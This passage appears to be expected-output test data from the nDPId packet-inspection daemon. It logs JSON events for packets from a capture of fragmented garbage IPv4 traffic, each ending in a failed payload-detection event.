+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":474990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475002,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475012,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475022,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475044,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475064,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475075,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475119,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475140,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475150,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475161,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475171,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475235,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475333,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAgoAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":475471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 